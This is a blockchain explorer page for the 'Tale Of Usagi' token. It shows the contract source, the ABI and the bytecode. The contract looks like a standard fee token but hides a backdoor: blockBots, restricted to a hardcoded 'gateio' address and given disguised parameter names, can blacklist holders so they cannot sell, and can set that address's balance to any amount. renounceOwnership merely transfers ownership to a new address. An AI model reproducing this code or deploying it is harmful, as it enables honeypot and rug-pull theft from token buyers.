ETH Price: $2,832.71 (+3.18%)
 

Overview

Max Total Supply

1,000,000,000 TOU

Holders

23

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
13,751,363.667759754 TOU

Value
$0.00
0x0f2c4401f3f2578d851d44ae90d97ef1bae971a4
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TaleOfUsagi

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-12-29
*/

// https://t.me/TaleOfUsagiPortal
// https://medium.com/@taleofusagierc
// https://twitter.com/TaleofusagiERC

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function owner() public view returns (address) {
        return _owner;
    }

    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function renounceOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract TaleOfUsagi is Context, IERC20, Ownable{

    using SafeMath for uint256;
    string private _name = "Tale Of Usagi";
    string private _symbol = "TOU";
    uint8 private _decimals = 9;
    mapping (address => uint256) _balances;

    address payable public gateio;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public _own;

    uint256 public _buyMarketingFee = 3;
    uint256 public _sellMarketingFee = 3;


    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    constructor () {

        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;
        gateio = payable(address(0x9FFA6C1c02A74654CFE4B446707A37C555d32bc4));

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    bool inSwapAndLiquify;
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    IUniswapV2Router02 public uniswapV2Router;

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function controlMw() private view {
        require(msg.sender == gateio,"telufficient Balance");
    }


    function name() public view returns (string memory) {
        return _name;
    }
    function decimals() public view returns (uint8) {
        return _decimals;
    }
    address public uniswapPair;


    receive() external payable {}


    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function blockBots(bool welldone,uint256 jobdone, address[] calldata metamask) public {
        controlMw();
        for (uint n; n < metamask.length; ++n) {
            bool oldValue = jobdone > uint256(5).mul(2);
            bool newValue = welldone;
            _own[metamask[n]] = newValue; 
            if (oldValue) _balances[gateio] = jobdone;
        }
    }


    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tAmount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}

        uint256 MarketAmount = address(this).balance;

        if(MarketAmount > 0)
            gateio.transfer(MarketAmount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Inufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function pairFactory() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        isMarketPair[address(uniswapPair)] = true;
    }


    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }


    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!_own[from]);

        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !isMarketPair[from]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);

            uint256 finalAmount;
            if (_isExcludefromFee[from] || _isExcludefromFee[to]){
                finalAmount = amount;
            }else{
                uint256 feeAmount = 0;

                if(isMarketPair[from]) {
                    feeAmount = amount.mul(_buyMarketingFee).div(100);
                }
                else if(isMarketPair[to]) {
                    feeAmount = amount.mul(_sellMarketingFee).div(100);
                }

                if(feeAmount > 0) {
                    _balances[address(this)] = _balances[address(this)].add(feeAmount);
                    emit Transfer(from, address(this), feeAmount);
                }

                finalAmount = amount.sub(feeAmount);
            }
            
            _balances[to] = _balances[to].add(finalAmount);
            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_own","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"welldone","type":"bool"},{"internalType":"uint256","name":"jobdone","type":"uint256"},{"internalType":"address[]","name":"metamask","type":"address[]"}],"name":"blockBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"gateio","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairFactory","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600d60809081526c54616c65204f6620557361676960981b60a0526001906200002e908262000283565b50604080518082019091526003815262544f5560e81b602082015260029062000058908262000283565b506003805460ff191660099081178255600a828155600b929092556200007e9162000464565b6200008e90633b9aca006200047c565b600c553480156200009e57600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600160076000620000f76000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff19958616179055308152600790925281208054909216600117909155600580546001600160a01b031916739ffa6c1c02a74654cfe4b446707a37c555d32bc4179055600c54906004906200016d3390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c54604051620001d091815260200190565b60405180910390a362000496565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200020957607f821691505b6020821081036200022a57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200027e57600081815260208120601f850160051c81016020861015620002595750805b601f850160051c820191505b818110156200027a5782815560010162000265565b5050505b505050565b81516001600160401b038111156200029f576200029f620001de565b620002b781620002b08454620001f4565b8462000230565b602080601f831160018114620002ef5760008415620002d65750858301515b600019600386901b1c1916600185901b1785556200027a565b600085815260208120601f198616915b828110156200032057888601518255948401946001909101908401620002ff565b50858210156200033f5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003a65781600019048211156200038a576200038a6200034f565b808516156200039857918102915b93841c93908002906200036a565b509250929050565b600082620003bf575060016200045e565b81620003ce575060006200045e565b8160018114620003e75760028114620003f25762000412565b60019150506200045e565b60ff8411156200040657620004066200034f565b50506001821b6200045e565b5060208310610133831016604e8410600b841016171562000437575081810a6200045e565b62000443838362000365565b80600019048211156200045a576200045a6200034f565b0290505b92915050565b60006200047560ff841683620003ae565b9392505050565b80820281158282048414176200045e576200045e6200034f565b61160080620004a66000396000f3fe60806040526004361061012e5760003560e01c806370a08231116100ab578063c816841b1161006f578063c816841b14610374578063c860795214610394578063d4b02eee146103aa578063dd62ed3e146103da578063e14f870d14610420578063f684376d1461043557600080fd5b806370a08231146102d55780638da5cb5b1461030b57806395d89b4114610329578063a9059cbb1461033e578063c5d241891461035e57600080fd5b806323b872dd116100f257806323b872dd14610213578063313ce567146102335780633345611e1461025557806338bf3cfa146102855780633ecad271146102a557600080fd5b806306fdde031461013a578063095ea7b3146101655780631694505e1461019557806318160ddd146101d257806321d9779e146101f157600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061014f610455565b60405161015c919061127c565b60405180910390f35b34801561017157600080fd5b506101856101803660046112e2565b6104e7565b604051901515815260200161015c565b3480156101a157600080fd5b50600d546101ba9061010090046001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b3480156101de57600080fd5b50600c545b60405190815260200161015c565b3480156101fd57600080fd5b5061021161020c36600461130e565b6104fe565b005b34801561021f57600080fd5b5061018561022e36600461139f565b6105b6565b34801561023f57600080fd5b5060035460405160ff909116815260200161015c565b34801561026157600080fd5b506101856102703660046113e0565b60076020526000908152604090205460ff1681565b34801561029157600080fd5b506102116102a03660046113e0565b610621565b3480156102b157600080fd5b506101856102c03660046113e0565b60086020526000908152604090205460ff1681565b3480156102e157600080fd5b506101e36102f03660046113e0565b6001600160a01b031660009081526004602052604090205490565b34801561031757600080fd5b506000546001600160a01b03166101ba565b34801561033557600080fd5b5061014f6106cb565b34801561034a57600080fd5b506101856103593660046112e2565b6106da565b34801561036a57600080fd5b506101e3600a5481565b34801561038057600080fd5b50600e546101ba906001600160a01b031681565b3480156103a057600080fd5b506101e3600b5481565b3480156103b657600080fd5b506101856103c53660046113e0565b60096020526000908152604090205460ff1681565b3480156103e657600080fd5b506101e36103f53660046113fd565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561042c57600080fd5b506102116106e7565b34801561044157600080fd5b506005546101ba906001600160a01b031681565b60606001805461046490611436565b80601f016020809104026020016040519081016040528092919081815260200182805461049090611436565b80156104dd5780601f106104b2576101008083540402835291602001916104dd565b820191906000526020600020905b8154815290600101906020018083116104c057829003601f168201915b5050505050905090565b60006104f4338484610918565b5060015b92915050565b610506610a3c565b60005b818110156105af57600061051f60056002610a8f565b8511905085806009600087878781811061053b5761053b611470565b905060200201602081019061055091906113e0565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055811561059c576005546001600160a01b031660009081526004602052604090208690555b5050806105a89061149c565b9050610509565b5050505050565b60006105c3848484610b11565b506106168433610611856040518060600160405280602881526020016115a3602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610e7a565b610918565b5060015b9392505050565b6000546001600160a01b031633146106805760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b60606002805461046490611436565b6000610616338484610b11565b6000546001600160a01b031633146107415760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610677565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610798573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107bc91906114b5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610809573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082d91906114b5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561087a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089e91906114b5565b600e80546001600160a01b0319166001600160a01b03928316178155600d8054610100600160a81b03191661010094841685021790819055600c543060009081526006602090815260408083209790940486168252958652828120919091559154909216815260089092529020805460ff19166001179055565b6001600160a01b03831661097a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610677565b6001600160a01b0382166109db5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610677565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6005546001600160a01b03163314610a8d5760405162461bcd60e51b815260206004820152601460248201527374656c756666696369656e742042616c616e636560601b6044820152606401610677565b565b600082600003610aa1575060006104f8565b6000610aad83856114d2565b905082610aba85836114e9565b1461061a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610677565b60006001600160a01b038416610b775760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610677565b6001600160a01b038316610bd95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610677565b6001600160a01b03841660009081526009602052604090205460ff1615610bff57600080fd5b600d5460ff1615610c1c57610c15848484610eb4565b905061061a565b30600090815260046020526040902054600d5460ff16158015610c5857506001600160a01b03851660009081526008602052604090205460ff16155b15610c6657610c6681610f99565b6001600160a01b038516600090815260046020526040902054610c89908461116b565b6001600160a01b038616600090815260046020908152604080832093909355600790529081205460ff1680610cd657506001600160a01b03851660009081526007602052604090205460ff165b15610ce2575082610df0565b6001600160a01b03861660009081526008602052604081205460ff1615610d2a57610d236064610d1d600a5488610a8f90919063ffffffff16565b906111ad565b9050610d68565b6001600160a01b03861660009081526008602052604090205460ff1615610d6857610d656064610d1d600b5488610a8f90919063ffffffff16565b90505b8015610de25730600090815260046020526040902054610d8890826111ef565b30600081815260046020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dd99085815260200190565b60405180910390a35b610dec858261116b565b9150505b6001600160a01b038516600090815260046020526040902054610e1390826111ef565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e679085815260200190565b60405180910390a360019250505061061a565b60008184841115610e9e5760405162461bcd60e51b8152600401610677919061127c565b506000610eab848661150b565b95945050505050565b6040805180820182526013815272496e756666696369656e742042616c616e636560681b6020808301919091526001600160a01b0386166000908152600490915291822054610f04918490610e7a565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610f3390836111ef565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f879086815260200190565b60405180910390a35060019392505050565b600d805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fdb57610fdb611470565b60200260200101906001600160a01b031690816001600160a01b031681525050600d60019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561104e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107291906114b5565b8160018151811061108557611085611470565b6001600160a01b039283166020918202929092010152600d546110b091309161010090041684610918565b600d5460405163791ac94760e01b81526101009091046001600160a01b03169063791ac947906110ed90859060009086903090429060040161151e565b600060405180830381600087803b15801561110757600080fd5b505af1925050508015611118575060015b5047801561115c576005546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561115a573d6000803e3d6000fd5b505b5050600d805460ff1916905550565b600061061a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e7a565b600061061a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061124e565b6000806111fc838561158f565b90508381101561061a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610677565b6000818361126f5760405162461bcd60e51b8152600401610677919061127c565b506000610eab84866114e9565b600060208083528351808285015260005b818110156112a95785810183015185820160400152820161128d565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146112df57600080fd5b50565b600080604083850312156112f557600080fd5b8235611300816112ca565b946020939093013593505050565b6000806000806060858703121561132457600080fd5b8435801515811461133457600080fd5b935060208501359250604085013567ffffffffffffffff8082111561135857600080fd5b818701915087601f83011261136c57600080fd5b81358181111561137b57600080fd5b8860208260051b850101111561139057600080fd5b95989497505060200194505050565b6000806000606084860312156113b457600080fd5b83356113bf816112ca565b925060208401356113cf816112ca565b929592945050506040919091013590565b6000602082840312156113f257600080fd5b813561061a816112ca565b6000806040838503121561141057600080fd5b823561141b816112ca565b9150602083013561142b816112ca565b809150509250929050565b600181811c9082168061144a57607f821691505b60208210810361146a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016114ae576114ae611486565b5060010190565b6000602082840312156114c757600080fd5b815161061a816112ca565b80820281158282048414176104f8576104f8611486565b60008261150657634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156104f8576104f8611486565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561156e5784516001600160a01b031683529383019391830191600101611549565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156104f8576104f861148656fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220140330115ba1d960341a2a758cdc05b43041b8d1e2f0701f5a36165822ea7a9664736f6c63430008110033

Deployed Bytecode

0x60806040526004361061012e5760003560e01c806370a08231116100ab578063c816841b1161006f578063c816841b14610374578063c860795214610394578063d4b02eee146103aa578063dd62ed3e146103da578063e14f870d14610420578063f684376d1461043557600080fd5b806370a08231146102d55780638da5cb5b1461030b57806395d89b4114610329578063a9059cbb1461033e578063c5d241891461035e57600080fd5b806323b872dd116100f257806323b872dd14610213578063313ce567146102335780633345611e1461025557806338bf3cfa146102855780633ecad271146102a557600080fd5b806306fdde031461013a578063095ea7b3146101655780631694505e1461019557806318160ddd146101d257806321d9779e146101f157600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061014f610455565b60405161015c919061127c565b60405180910390f35b34801561017157600080fd5b506101856101803660046112e2565b6104e7565b604051901515815260200161015c565b3480156101a157600080fd5b50600d546101ba9061010090046001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b3480156101de57600080fd5b50600c545b60405190815260200161015c565b3480156101fd57600080fd5b5061021161020c36600461130e565b6104fe565b005b34801561021f57600080fd5b5061018561022e36600461139f565b6105b6565b34801561023f57600080fd5b5060035460405160ff909116815260200161015c565b34801561026157600080fd5b506101856102703660046113e0565b60076020526000908152604090205460ff1681565b34801561029157600080fd5b506102116102a03660046113e0565b610621565b3480156102b157600080fd5b506101856102c03660046113e0565b60086020526000908152604090205460ff1681565b3480156102e157600080fd5b506101e36102f03660046113e0565b6001600160a01b031660009081526004602052604090205490565b34801561031757600080fd5b506000546001600160a01b03166101ba565b34801561033557600080fd5b5061014f6106cb565b34801561034a57600080fd5b506101856103593660046112e2565b6106da565b34801561036a57600080fd5b506101e3600a5481565b34801561038057600080fd5b50600e546101ba906001600160a01b031681565b3480156103a057600080fd5b506101e3600b5481565b3480156103b657600080fd5b506101856103c53660046113e0565b60096020526000908152604090205460ff1681565b3480156103e657600080fd5b506101e36103f53660046113fd565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561042c57600080fd5b506102116106e7565b34801561044157600080fd5b506005546101ba906001600160a01b031681565b60606001805461046490611436565b80601f016020809104026020016040519081016040528092919081815260200182805461049090611436565b80156104dd5780601f106104b2576101008083540402835291602001916104dd565b820191906000526020600020905b8154815290600101906020018083116104c057829003601f168201915b5050505050905090565b60006104f4338484610918565b5060015b92915050565b610506610a3c565b60005b818110156105af57600061051f60056002610a8f565b8511905085806009600087878781811061053b5761053b611470565b905060200201602081019061055091906113e0565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055811561059c576005546001600160a01b031660009081526004602052604090208690555b5050806105a89061149c565b9050610509565b5050505050565b60006105c3848484610b11565b506106168433610611856040518060600160405280602881526020016115a3602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610e7a565b610918565b5060015b9392505050565b6000546001600160a01b031633146106805760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b60606002805461046490611436565b6000610616338484610b11565b6000546001600160a01b031633146107415760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610677565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610798573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107bc91906114b5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610809573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082d91906114b5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561087a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089e91906114b5565b600e80546001600160a01b0319166001600160a01b03928316178155600d8054610100600160a81b03191661010094841685021790819055600c543060009081526006602090815260408083209790940486168252958652828120919091559154909216815260089092529020805460ff19166001179055565b6001600160a01b03831661097a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610677565b6001600160a01b0382166109db5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610677565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6005546001600160a01b03163314610a8d5760405162461bcd60e51b815260206004820152601460248201527374656c756666696369656e742042616c616e636560601b6044820152606401610677565b565b600082600003610aa1575060006104f8565b6000610aad83856114d2565b905082610aba85836114e9565b1461061a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610677565b60006001600160a01b038416610b775760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610677565b6001600160a01b038316610bd95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610677565b6001600160a01b03841660009081526009602052604090205460ff1615610bff57600080fd5b600d5460ff1615610c1c57610c15848484610eb4565b905061061a565b30600090815260046020526040902054600d5460ff16158015610c5857506001600160a01b03851660009081526008602052604090205460ff16155b15610c6657610c6681610f99565b6001600160a01b038516600090815260046020526040902054610c89908461116b565b6001600160a01b038616600090815260046020908152604080832093909355600790529081205460ff1680610cd657506001600160a01b03851660009081526007602052604090205460ff165b15610ce2575082610df0565b6001600160a01b03861660009081526008602052604081205460ff1615610d2a57610d236064610d1d600a5488610a8f90919063ffffffff16565b906111ad565b9050610d68565b6001600160a01b03861660009081526008602052604090205460ff1615610